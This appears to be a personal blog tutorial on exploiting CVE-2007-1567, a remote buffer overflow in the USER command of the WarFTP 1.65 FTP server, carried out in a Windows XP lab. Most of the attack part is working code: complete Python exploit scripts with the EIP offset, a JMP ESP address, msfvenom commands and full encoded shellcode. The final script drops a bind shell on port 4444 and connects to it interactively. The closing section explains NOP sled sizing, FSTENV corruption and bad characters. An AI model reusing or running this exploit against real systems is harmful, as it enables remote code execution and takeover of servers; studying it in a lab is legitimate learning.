[Learning] CVE-2007-1567: WarFTP 1.65 - 'USER' Remote Buffer Overflow

First Post:

Last Update:

Word Count:
3.1k

Read Time:
19 min

Preface

This is the first article in my series “From Bug To Exploit”, demonstrating how to exploit a buffer overflow in WarFTP 1.65.

After publishing OpenPetya v2.0.0, I realized my knowledge of low-level vulnerabilities is insufficient. Therefore, I decided to publish the first article in this series with a typical buffer overflow (BOF) RCE, which I had put on hold for several months for personal reasons.

Murmur: Another reason is that I am motivated by the frequent LPE releases by MSNightmare (Nightmare Eclipse). I want to be as good as this man at vulnerability research, but I cannot improve myself by doing nothing. Therefore, I decided to start instead of just sitting around!

Introduction

WarFTP is a legacy, multi-threaded FTP server software for Windows developed by Jarle (“jgaa”) Aase, originally popular in the late 1990s and early 2000s.

The software is outdated and no longer used in modern production. However, version 1.65 provides an excellent example for studying remote code execution caused by a buffer overflow!

In this article, I will try to apply the knowledge from this book and try to deepen my understanding of buffer overflows while learning new techniques along the way.

Environment Setup

To study this vulnerability, we first need to set up our experimental environment.

Exploit-DB is not only a platform for downloading proof-of-concept scripts, but also an excellent resource for setting up vulnerable environments. The installer for the vulnerable application is available on Exploit-DB.

Next, try to connect to the WarFTP server using netcat:

1
nc <SERVER IP> 21

Or write a simple Python script to test the connection:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# exploit.py

import socket

SERVER_IP = '192.168.235.231'
SERVER_PORT = 21

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((SERVER_IP, SERVER_PORT))
print("Banner:", s.recv(1024).decode())

buffer = b'A' # junk data

payload = b'USER ' + buffer + b'\r\n'

print("Sending WarFTPd payload...")
s.sendall(payload)
s.close()

At this point, we have successfully installed the WarFTP server on the virtual machine.

Note: I chose Windows XP as the server because it provides a convenient environment for studying buffer overflows. Researchers don’t have to consider ASLR or DEP.

Buffer Overflow

In this section, I am going to demonstrate how to perform a buffer overflow attack against the vulnerable server.

First, we need to identify which application is responsible for receiving and processing the data. We can use the command below:

1
netstat -ano | findstr 21

Therefore, we can determine that the application with PID 3328 (this will likely be different in your environment) is responsible for receiving data. Next, start Immunity Debugger and attach it to the process with PID 3328:

Note: One of the advantages of using a debugger to attach to the process is that crashes are inevitable during buffer overflow testing. A debugger usually provides a useful feature that allows us to restart the application immediately.

Next, try to trigger the buffer overflow with a large amount of junk data:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# exploit.py

import socket

SERVER_IP = '192.168.235.231'
SERVER_PORT = 21

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((SERVER_IP, SERVER_PORT))
print("Banner:", s.recv(1024).decode())

buffer = b'A' * 1000 # junk data

payload = b'USER ' + buffer + b'\r\n'

print("Sending WarFTPd payload...")
s.sendall(payload)
s.close()

Press F9 to let Immunity Debugger continue running the application. Then, run the exploit script:

1
python exploit.py

Then, the server crashes:

A buffer overflow vulnerability does not necessarily exist just because an application crashes. However, if the junk data can overwrite the EIP (Extended Instruction Pointer), this is a strong indication that the application is vulnerable to a buffer overflow.

Note: If a large amount of junk data crashes an application, it does not necessarily mean that the application has a buffer overflow vulnerability. However, researchers would still be happy to see it because it potentially means that something is wrong!

At this point, we know that 1000 bytes of junk data can crash the WarFTP server application. Next, we need to find the exact offset required to precisely control the EIP.

We can use mona to create a special pattern to find the value.

1
!mona pattern_create 1000

Then, replace the original junk data with the pattern generated by mona and run the exploit script again:

Use the current value of EIP to find the exact offset:

1
!mona pattern_offset 32714131

Therefore, the exact offset is 485. To demonstrate this, we can modify the exploit script as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# exploit.py

import socket
import struct

SERVER_IP = '192.168.235.231'
SERVER_PORT = 21

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((SERVER_IP, SERVER_PORT))
print("[*] Banner:", s.recv(1024).decode())

junk = b'A' * 485 # junk data
eip = struct.pack('<I', 0xDEADBEEF)
padding = b'C' * 100

buffer = junk + eip + padding

payload = b'USER ' + buffer + b'\r\n'

print("[*] Sending WarFTPd payload...")
s.sendall(payload)
s.close()

print("[+] The payload is sent, please check.")

Next comes the most critical part. We need to redirect EIP to the stack and then execute the shellcode we loaded.

In order to do this, we need to find a jmp esp instruction in one of the loaded DLLs. mona provides a useful command to do so:

1
!mona jmp -r esp

Note: You may also use !mona jmp -r esp -cpb "\x00" to exclude bad characters.

Here, I chose to use 0x77fab277. We still need shellcode to execute. We can use msfvenom (which is usually installed on Kali Linux) to generate it:

1
msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d\x09\x20\x40" -f python -e x86/shikata_ga_nai -i 3 -v shellcode

Then, the completed exploit script is shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# exploit.py

import socket
import struct

SERVER_IP = '192.168.235.231'
SERVER_PORT = 21

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((SERVER_IP, SERVER_PORT))
print("[*] Banner: ", s.recv(1024).decode())

junk = b'A' * 485 # junk data
eip = struct.pack('<I', 0x77fab277)
nopsled = b'\x90' * 32

int3 = b'\xcc' # INT 3

# msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d\x09\x20\x40" -f python -e x86/shikata_ga_nai -i 3 -v shellcode
shellcode = b""
shellcode += b"\xdb\xca\xbe\x84\xf5\xd9\x03\xd9\x74\x24\xf4"
shellcode += b"\x5f\x33\xc9\xb1\x3e\x31\x77\x1a\x83\xc7\x04"
shellcode += b"\x03\x77\x16\xe2\x71\x4d\xb2\x21\x94\xf4\x9c"
shellcode += b"\xe6\xbf\x7d\x3b\x13\x64\x4d\x8a\x6a\xa2\x80"
shellcode += b"\x4f\x9f\xd1\xa1\x5d\x1c\x7d\x03\x6d\x8d\xed"
shellcode += b"\x38\xb9\x85\x0c\x60\x37\xab\xa3\x10\x13\xc5"
shellcode += b"\xdf\x66\xb1\x9f\x58\xb3\xf0\xe5\x01\x0b\x97"
shellcode += b"\x55\xf6\x37\xf2\xdb\x41\x3d\xa6\x73\x56\xbb"
shellcode += b"\x83\xdf\xb4\xd9\xe6\xef\x7d\x41\x2a\xfe\x87"
shellcode += b"\x95\xfe\xba\x2f\x44\xd9\xc8\x7a\x34\x35\x59"
shellcode += b"\x57\xd1\x02\x96\x28\x8d\xe1\x2b\xfc\xdd\x12"
shellcode += b"\xa3\x46\x6a\xa7\x87\x6b\x07\x05\xa4\x3a\xfa"
shellcode += b"\xed\xea\xa7\x37\x1f\x1d\x8e\x34\x86\x15\x74"
shellcode += b"\xb6\x2f\xc4\xcc\x5b\xa7\xa9\x7b\x86\xa7\x92"
shellcode += b"\x33\x30\x4f\x65\x3b\xfe\x61\xff\xb8\x3c\x86"
shellcode += b"\x86\xea\x17\xbf\x5a\x84\x56\x3b\xdf\x71\xa7"
shellcode += b"\xb8\x90\x43\x28\x01\x66\x59\x6a\x52\x83\x6b"
shellcode += b"\x84\x29\x5d\x9d\x88\x39\xcc\x8b\xaf\xa5\xe6"
shellcode += b"\xb4\xeb\xa5\xf2\xa3\x77\x87\x16\x54\x42\x63"
shellcode += b"\xaf\xc0\x1f\x9a\x6f\x63\x89\x45\xbd\x45\xda"
shellcode += b"\xf6\xfb\x46\xcd\x89\x68\xf8\x8b\x73\x9b\xf6"
shellcode += b"\xec\x66\xcd\x1d\x68\xd5\x57\x1d\x98\xad\x93"
shellcode += b"\xfd\x25\x21\x4c\x79\xf2\x15\x64\x1d\xf8\x6f"
shellcode += b"\xa6\x5c\x77\x4e\x54\x08\x30\x3d\x7e\x80\x19"
shellcode += b"\x2a\xde\xef\x4e\x12\xf4\x8e\x38\xbd\x56"

buffer = b''
buffer += junk
buffer += eip
buffer += nopsled
# buffer += int3
buffer += shellcode

payload = b'USER ' + buffer + b'\r\n'

print("[*] Sending WarFTPd payload...")
s.sendall(payload)
s.close()

We can also spawn a shell to execute arbitrary commands. Since my virtual machine is configured to use a “Host-only” network, I chose to use shell_bind_tcp:

1
msfvenom -p windows/shell_bind_tcp LPORT=4444 -b "\x00\x0a\x0d\x09\x20\x40" -f python -e x86/shikata_ga_nai -i 3 -v shellcode 

Then, our exploit script can be implemented as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
# exploit.py

import socket
import struct
import sys
import time
import select

SERVER_IP = '192.168.235.231'
SERVER_PORT = 21

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((SERVER_IP, SERVER_PORT))
print("[*] Banner: ", s.recv(1024).decode())

junk = b'A' * 485 # junk data
eip = struct.pack('<I', 0x77fab277)
nopsled = b'\x90' * 32

int3 = b'\xcc' # INT 3

# shell_bind_tcp
shellcode = b""
shellcode += b"\xbb\xaf\x34\x80\xce\xdd\xc4\xd9\x74\x24\xf4"
shellcode += b"\x5e\x2b\xc9\xb1\x60\x31\x5e\x14\x03\x5e\x14"
shellcode += b"\x83\xee\xfc\x4d\xc1\x5a\x0c\x48\x5e\x7f\x65"
shellcode += b"\xd7\x61\xc7\xa2\xa0\xc6\x0b\x64\x1f\xaf\xe8"
shellcode += b"\x9e\xa3\x61\x87\x48\x58\xea\x41\x97\x55\xef"
shellcode += b"\x18\xa3\x3b\x7e\x42\x72\xf6\xaa\xf2\xcf\x3f"
shellcode += b"\x4b\x44\xcc\xab\xbc\x8c\xa5\xca\x90\x71\xbc"
shellcode += b"\x49\x39\x72\xd4\x84\xeb\x8f\xfa\x0b\x78\xe1"
shellcode += b"\x42\x43\x34\x28\xf9\x5f\x9d\xdb\xfd\x25\x9e"
shellcode += b"\x08\x8f\x8d\xcd\x4d\x80\x04\x67\xec\x47\x53"
shellcode += b"\xd3\x41\x45\x21\x08\x27\x99\xde\xd1\xbe\x96"
shellcode += b"\x3d\x8c\xa6\x6b\xde\x14\x36\xaa\x71\xb9\xa1"
shellcode += b"\xc5\x5d\xcb\x0c\xc5\x8d\xa0\x16\x90\xf0\x73"
shellcode += b"\x82\x51\x67\x55\x50\x82\x10\xeb\xa0\x5f\x28"
shellcode += b"\xaf\xca\x4f\x6f\x18\x33\x22\x1e\x96\xd9\x96"
shellcode += b"\x2e\x83\xd5\xcc\xfb\xb0\xd5\x51\x04\x98\xfe"
shellcode += b"\xb0\x6d\xd9\xa1\x8a\x3a\x54\x9d\x5a\x88\xda"
shellcode += b"\xea\x5f\x25\x6c\xe8\x2c\x68\xfe\x2f\xca\x95"
shellcode += b"\xf9\x11\x70\xe0\x4f\xaa\xfe\x80\x13\xa5\xa5"
shellcode += b"\xbf\x45\x4c\x82\xd0\x10\x72\xe1\x4e\x1e\x12"
shellcode += b"\x03\x5f\x65\x18\xa8\xae\x5a\xfd\x99\x13\x85"
shellcode += b"\x9c\xfc\x4d\x69\x2e\xea\x90\x2d\xa6\xef\xbb"
shellcode += b"\x29\xa3\x9e\xf0\x38\xfd\x9f\xbf\xa6\xd4\x32"
shellcode += b"\xb8\x06\x4a\x0e\xf6\x7a\x93\x86\xaf\x5a\x4f"
shellcode += b"\xcd\x32\xb9\x46\x17\xc0\x7f\x70\x24\x5a\x8f"
shellcode += b"\x39\xf7\xe4\xe5\x77\xec\xb6\xfe\x17\x7e\x0f"
shellcode += b"\x5a\x93\x14\xf5\xee\x66\xed\x5d\x96\x11\x41"
shellcode += b"\x4f\x42\x9d\x5b\x82\xdd\xb4\x26\xad\x90\xf1"
shellcode += b"\xc3\xff\x75\xeb\xbc\xf8\x87\x3f\xe7\xa2\xaa"
shellcode += b"\x63\xbf\x14\x06\x0e\x5d\xa6\x8f\x25\x68\x7e"
shellcode += b"\xba\xae\x06\xc8\x02\x39\x57\x29\xf2\x99\xdd"
shellcode += b"\x8b\x69\x24\xaa\xd8\x7f\xd2\xbb\x4c\x44\x06"
shellcode += b"\x38\x27\x8c\x80\x1f\x83\x71\x1f\x84\xc4\x8d"
shellcode += b"\xd4\xad\x9c\xa2\x53\x70\x0e\xe2\xaf\x5d\x8f"
shellcode += b"\x53\x7d\x8c\x08\x8b\x45\x54\xe7\x03\xda\x44"
shellcode += b"\xe9\xcc\x5f\x4d\x2b\xaa\x3a\x2e\xf7\x24\x04"
shellcode += b"\x06\xa0\x08\x99\x74\x55\xd9\x01\x8e\x08\xcf"
shellcode += b"\x93\x58"

buffer = b''
buffer += junk
buffer += eip
buffer += nopsled
# buffer += int3
buffer += shellcode

payload = b'USER ' + buffer + b'\r\n'

print("[*] Sending WarFTPd payload...")
s.sendall(payload)
s.close()

print("[*] Payload has been sent")

print("[*] Waiting for shell to bind and connecting...")

shell_sock = None

# You can use netcat instead
for attempt in range(10): # retry
try:
time.sleep(1)
shell_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shell_sock.settimeout(3)
shell_sock.connect((SERVER_IP, 4444))
shell_sock.settimeout(None)
print(f"\n[+] Pwned!\n")
break
except (socket.error, socket.timeout):
if shell_sock:
shell_sock.close()
shell_sock = None
sys.stdout.write(".")
sys.stdout.flush()

if not shell_sock:
print("[-] Connection failed: Max retries reached.")
sys.exit(1)

print("[+] Interactive shell spawned below:\n")

while True:
read_list = [sys.stdin, shell_sock]
read_sockets, _, _ = select.select(read_list, [], [])

if sys.stdin in read_sockets:
line = sys.stdin.readline()
if not line:
break
shell_sock.sendall(line.encode())

if shell_sock in read_sockets:
data = shell_sock.recv(1024)
if not data:
print("\n[-] Connection closed by target.")
break
sys.stdout.write(data.decode(errors='ignore'))
sys.stdout.flush()

The Devil Is In the Detail!

Before writing this article, I thought exploiting a legacy application would be easy since I had been studying buffer overflow for a while. However, I soon found out that it was much more difficult than I had expected, and I spent much more time on it than I originally anticipated. Therefore, I decided to document the issues I encountered.

The problem was in the exploit chain. The NOP sled I used previously was:

1
nopsled = b'\x90' * 4

After running the script, nothing happened. calc.exe did not appear. I spent hours investigating bad characters and changing the encoder I was using, but none of them worked.

So, I changed the shellcode to the following in order to debug it in Immunity Debugger:

1
2
3
4
5
6
7
8
int3 = '\xcc' # INT3

buffer = b''
buffer += junk
buffer += eip
buffer += nopsled
buffer += int3
buffer += shellcode

The assembly code at the beginning is shown below:

After executing FSTENV, the surrounding assembly code was corrupted:

Then, I increased the size of the NOP sled, and calc.exe appeared:

1
nopsled = b'\x90' * 32

In the x86 architecture, tHere, Is no direct instruction such as MOV EAX, EIP for querying the current instruction pointer. When the JMP ESP instruction redirects execution to our shellcode, the payload has no direct way to determine wHere, It is physically located in memory.

To decode itself on the fly, encoded shellcode must first determine its own memory address using a technique called GetPC (Get Program Counter).

A common way to achieve this is by leveraging the x87 Floating-Point Unit (FPU):

  • The CPU records the memory address of the last executed floating-point instruction inside the FPU state.
  • FSTENV (Store FPU Environment) instruction stores a 28-byte structure containing FPU state, including the saved instruction pointer, to a memory location.

Note: The name x87 comes from the naming convention of the original, separate hardware chips that Intel created to handle floating-point arithmetic for its early x86 processors.

The FSTENV does not simply read a register; it writes 28 bytes to memory, typically using an address relative to the current stack pointer (ESP or ESP - 0xC).

When the shellcode executed JMP ESP, the stack pointer pointed directly to the beginning of the payload. When the NOP sled was only 4 bytes long (nopsled = b'\x90' * 4), the sequence of events looked like this:

  1. Execution jumped directly into the NOP sled and reached the decoder stub.
  2. The decoder executed FSTENV instruction to determine its location.
  3. FSTENV immediately wrote a 28-byte block containing the FPU state, including fields that may contain null bytes such as 0x00, onto the stack.
  4. Because the NOP sled was only 4 bytes long, the 28-byte data overwrote part of the payload, including the decoder code.
  5. The decoder was corrupted and turned into random or invalid bytes, such as 00 00.
  6. The CPU then attempted to execute the corrupted memory, resulting in an immediate Access Violation.

To solve this problem, we simply need to increase the size of the NOP sled.

Another problem was the bad characters, which also annoyed me for hours…

Conventionally, only \x00 (Null Byte) is considered a bad character. In FTP, however, the characters shown below can also cause problems:

  • \x0a (LF) and \x0d(CR): These represent Line Feed (\n) and Carriage Return (\r), which are used as line terminators in FTP commands. When the FTP server encounters these characters, it may interpret them as the end of the current command. Any shellcode following them may therefore be ignored, split, or interpreted as a new command.
  • \x09 (Tab) and \x20 (Space): These act as delimiters and whitespace. FTP servers parse commands by separating the command and its arguments using whitespace. For example, when parsing USER <username>, a space separates the command from the username. If your shellcode contains spaces or tabs, the server’s command parser may misinterpret them as argument separators, fragmenting or corrupting your payload.
  • \x40 (‘@’): This is a special character that may trigger parsing or rewriting logic in some legacy FTP servers or authentication routines, such as those supporting username@hostname formats. In the specific context of the WarFTP buffer overflow, empirical testing shows that @ corrupts the input stream and must therefore be avoided.

Conclusion

In this article, I introduced and demonstrated how to exploit CVE-2007-1567, a remote code execution vulnerability in WarFTP caused by a buffer overflow.

In addition, I introduced several important issues that can arise when writing shellcode.

These experiences highlight why people often describe shellcoding as sophisticated black magic: it is not only powerful, but also involves many subtle details that cannot be ignored!

This is the end of this article. If you have any suggestions or comments, please feel free to leave them below!

THANKS FOR READING